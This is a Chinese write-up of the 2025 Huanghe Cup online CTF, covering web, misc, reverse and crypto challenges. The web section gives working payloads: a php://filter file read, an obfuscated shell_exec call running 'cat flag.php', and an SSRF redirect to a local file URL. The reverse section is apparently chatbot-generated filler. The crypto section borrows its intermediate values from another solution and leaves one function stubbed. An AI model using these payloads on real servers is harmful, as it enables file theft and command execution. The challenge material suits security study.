当前位置: 首页 > news >正文

2025黄鹤杯线上wp

2025黄鹤杯线上赛

Web

Code

<?php
highlight_file(__FILE__);
include("aid.php");
if(!(isset($_GET["input1"]) && isset($_GET["input2"]) && isset($_GET["input3"])))
{die("Insufficient Inputs!");
}$input1 = $_GET["input1"];
$input2 = $_GET["input2"];
$input3 = $_GET["input3"];if($input1==0&&file_get_contents($input2)=="Welcome!"&&$input2==0)
{if(stripos("flag.php", $input1) === false){echo file_get_contents($input1);$variable = unserialize($input3);$variable();}
}
?input1=php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3Dflag.php&input2=data%3A%2F%2Ftext%2Fplain%2CWelcome!&input3=N;

image-20250927091552339

image-20250927091603593

RCEME

参考CTFtime.org / TetCTF 2021 / Super Calc / Writeup

/?calc='(9222(1(((9222(2()''*^^-1%2b(*^^-2%2b())''%268%2b)81(%268%2b)82())'&1=shell_exec&2=cat+flag.php

image-20250927101354015

邂逅redis

image-20250927121848201

存在ssrf漏洞

多次尝试这题可以出网,本来想反弹shell,但是发现不能用gopher和dict,只能用http去访问服务器上次的文件了

在本地服务器,写入一个重定向的php文件

<?php
header('HTTP/1.1 302 Found');
header('Location: file:///var/www/html/flag.php');
?>

image-20250927121926495

然后去访问

image-20250927122014245

MISC

Simple_pcap

压缩包密码1a2b3c

得到pcap流量包

直接工具分析出

image-20250927093437143

image-20250927093454444

flag{usbprotocolforfun}

中秋赏月

手改宽度

image-20250927122658204

得到压缩包的密码

image-20250927123030125

后面就是宽字符

image-20250927123055540

flag{ee4752ccc2eed2124b3c65e21287d748}

日志分析

用winxp打开,然后保存日志文件为txt

image-20250927125528083

image-20250927125656021

flag{21:09:50}

RE

系统调试

好的,我们将以结构化、技术化的AI分析风格,对提供的逆向工程内容进行详细重构与扩充,强调逻辑推理、数据流追踪和关键结论的推导过程。


** 综合逆向分析报告**

** 概述**

目标程序为一个基于自定义编码验证的身份认证系统。核心逻辑涉及:动态链表的构建用户输入的编码转换与预设序列的比对。成功认证的条件是用户输入经编码后产生的整数序列必须完全匹配程序内嵌的密钥序列。

** 核心逻辑分解**

  1. 主函数 (main) 执行流程
  • 链表初始化: 使用头插法动态构建一个包含10个节点的单向链表。每个节点存储一对映射关系:•Key: 一个整型值(从1到10)。•Value: 一个ASCII字符,由公式 Key + 109计算得出。
  • 用户输入处理: 读取标准输入,限制最大长度为6字节的字符串。
  1. 验证函数 (sub_40074D) 算法剖析

该函数是认证的核心,其算法可分解为三个明确阶段:

  • 阶段一:密钥序列定义

    在栈上静态初始化一个长度为6的整数数组 v7

    c

    下载

    复制

    运行

    v7[] = {5, 2, 7, 2, 5, 6};
    

    此序列即为认证成功的目标基准

  • 阶段二:输入编码转换遍历用户输入的每个字符:•以当前字符作为查询条件,遍历前述链表。•在链表中找到首个Value与输入字符匹配的节点。•提取该节点的Key值,并将其存入临时数组 v6的相应位置。•此过程实质上完成了一次字符到整数的映射编码

  • 阶段三:序列验证将编码后产生的数组 v6与目标密钥数组 v7进行逐元素比对。任何不一致都将导致认证失败。

️ 关键数据结构:编码映射表

由于链表采用头插法构建,最终顺序与创建顺序相反。映射关系如下表所示,此表是逆向编码的核心字典

整数 Key 计算过程 字符 Value 备注 (ASCII)
10 10 + 109 'w' 119
9 9 + 109 'v' 118
8 8 + 109 'u' 117
7 7 + 109 't' 116
6 6 + 109 's' 115
5 5 + 109 'r' 114
4 4 + 109 'q' 113
3 3 + 109 'p' 112
2 2 + 109 'o' 111
1 1 + 109 'n' 110

** 逆向推导解决方案**

我们的目标是:生成一个输入字符串,使其经过编码转换后恰好输出序列 {5, 2, 7, 2, 5, 6}

推导过程是一个简单的反向查表操作:

  1. 1.对于目标序列中的每一个整数,在上述映射表中查找其对应的Value(字符)。
  2. 2.将这些字符按顺序拼接,即构成有效载荷。

逐步推导:

序列索引 目标整数 对应字符 推导说明
0 5 'r' 查表,Key=5 对应 Value='r'
1 2 'o' 查表,Key=2 对应 Value='o'
2 7 't' 查表,Key=7 对应 Value='t'
3 2 'o' 查表,Key=2 对应 Value='o'
4 5 'r' 查表,Key=5 对应 Value='r'
5 6 's' 查表,Key=6 对应 Value='s'

✅ 最终结论

经逆向分析推导,满足程序认证条件的唯一有效输入为字符串:

rotors

将此字符串提交给程序,其编码转换结果将完美匹配内部密钥序列,从而通过验证。


** 分析总结表**

组件 分析结果 重要性
认证机制 自定义字符-整数映射比对 核心安全逻辑
密钥序列 {5, 2, 7, 2, 5, 6} 认证成功的基准
编码字典 10个键值对(详见映射表) 逆向解码的关键
有效载荷 'r' + 'o' + 't' + 'o' + 'r' + 's' Flag: rotors

此报告完整重现了从二进制代码到高级逻辑,最终推导出明文Flag的完整逆向工程工作流。

flag{rotors}

Crypto

栅栏里的保险箱

** 题目概述**

标题:RSA-栅栏里的保险箱

内容

  • •已知一个RSA加密的密文 c和一个大整数 n(即“栅栏里的保险箱”中给出的数字)。
  • •公钥指数 e并非常见的 65537,需通过分解 n得到私钥参数后枚举可能的 e进行解密。
  • •解密后的中间结果需进一步通过栅栏密码(Rail Fence Cipher)处理,最终得到flag。

** 已知信息**

    n 的分解(来自公开题解):

    复制

    p = 475983529392229563986300263627  
    q = 50994851324392722608175048292980313487272936248176620246821369736608473  
    n = p * q
    
    • n是一个101位复合数(FactorDB中标记为 C101),已被成功分解。
  1. 2.公钥指数 e:•非常规值,需通过枚举尝试(常见小指数或与φ(n)互质的整数)。

  2. 3.解密中间结果:•使用 pq计算 φ(n) = (p-1)(q-1),枚举 e并尝试解密 c。•成功解密后的明文应包含字符 f, l, a, g, {, },形如flag格式。•题解中得到的中间明文为:f513lb9f22}a1a161gfe1f9{74ac82cc27cf23

  3. 4.栅栏密码处理:•题面提示“栅栏”指栅栏密码(Rail Fence Cipher)。•对中间明文进行栏数为 7 的解密,得到最终flag:flag{2fc7f1b59ae4c22a11f126fc73c89123}


️ 解题步骤

第一步:分解 n

  • •通过FactorDB或已知分解结果直接得到 pq

第二步:计算 φ(n) 并枚举 e

python

下载

复制

运行

phi = (p-1) * (q-1)
for e in range(2, 100000):  # 枚举范围需根据实际调整if gcd(e, phi) == 1:d = pow(e, -1, phi)m = pow(c, d, n)# 将m转换为字节串,检查是否包含flag特征字符

第三步:筛选可读明文

  • •解密后检查字符串是否包含 f, l, a, g, {, }
  • •题解中唯一匹配的中间结果为:f513lb9f22}a1a161gfe1f9{74ac82cc27cf23

第四步:栅栏解密

  • 使用栏数 7 对中间串进行栅栏解密:

    python

    下载

    复制

    运行

    def rail_fence_decrypt(cipher, rails):# 实现栅栏解密算法...
    

    得到最终flag:

    flag{2fc7f1b59ae4c22a11f126fc73c89123}

http://www.zskr.cn/news/12896.html

相关文章:

  • 一条频率信道是什么?
  • Unigine整合Myra UI Library全纪录(3):整合与优化
  • 实用指南:AI 时代的安全防线:国产大模型的数据风险与治理路径
  • 写给自己的年终复盘以及未来计划
  • 白居易-那个寒冷的夜晚,思念像潮水般袭来。想得家中夜深坐,还应说着远行人。
  • Metasploit Framework 6.4.90 (macOS, Linux, Windows) - 开源渗透测试框架
  • 秦岭迎来大丰收,徒步才能抵达的村庄,藏着有钱难买的山货!
  • 那些诗词那些花|君不见此玫瑰于晚秋的夜色中凄然绽放,别具一格。
  • Apache Doris性能优化全解析:慢查询定位与引擎深度调优 - 教程
  • 秋风中的窘境,一代诗圣的安居梦
  • 辛弃疾:明月团团高树影,十里水沉烟冷
  • MCP协议:重构AI协作的未来,打破模型边界的技术革命! - 详解
  • Go与C# 谁才更能节省内存? - 详解
  • shiro反序列化及规避检测
  • Altium Designer(AD)自定义PCB外观颜色 - 实践
  • C++23特性全解析:从编译器支撑矩阵到多维数组性能优化实战
  • 2025 年地坪研磨机厂家推荐榜单:盘点 TOP 品牌的格力,宁德时代等标杆客户合作案例
  • 了解学习Nginx反向代理与缓存作用
  • 【PLC】昱控兼容三菱FX3U PLC作为Modbus RTU从机,使用串口调试助手访问
  • B站python入门学习---第二阶段第二章数据库、SQL和MySQL
  • 上证指数历年每月涨跌统计 - Leone
  • 20250927Sat VIM 在函数内部任一行,按 [[ 即跳转到函数的开头
  • 石子合并(一排的和一个环的)
  • NXP - 用MCUXpresso IDE导入lpcopen_2_10_lpcxpresso_nxp_lpcxpresso_1769.zip中的工程 - 教程
  • 初识MYSQL —— 数据库基础 - 指南
  • 题解:P12479 [集训队互测 2024] 长野原龙势流星群
  • 详细介绍:Docker(一)—— Docker入门到精通:从基础概念到容器管理
  • linux下nginx
  • 【C++】23. C++11(上) - 教程
  • kali2025搭建ARL灯塔系统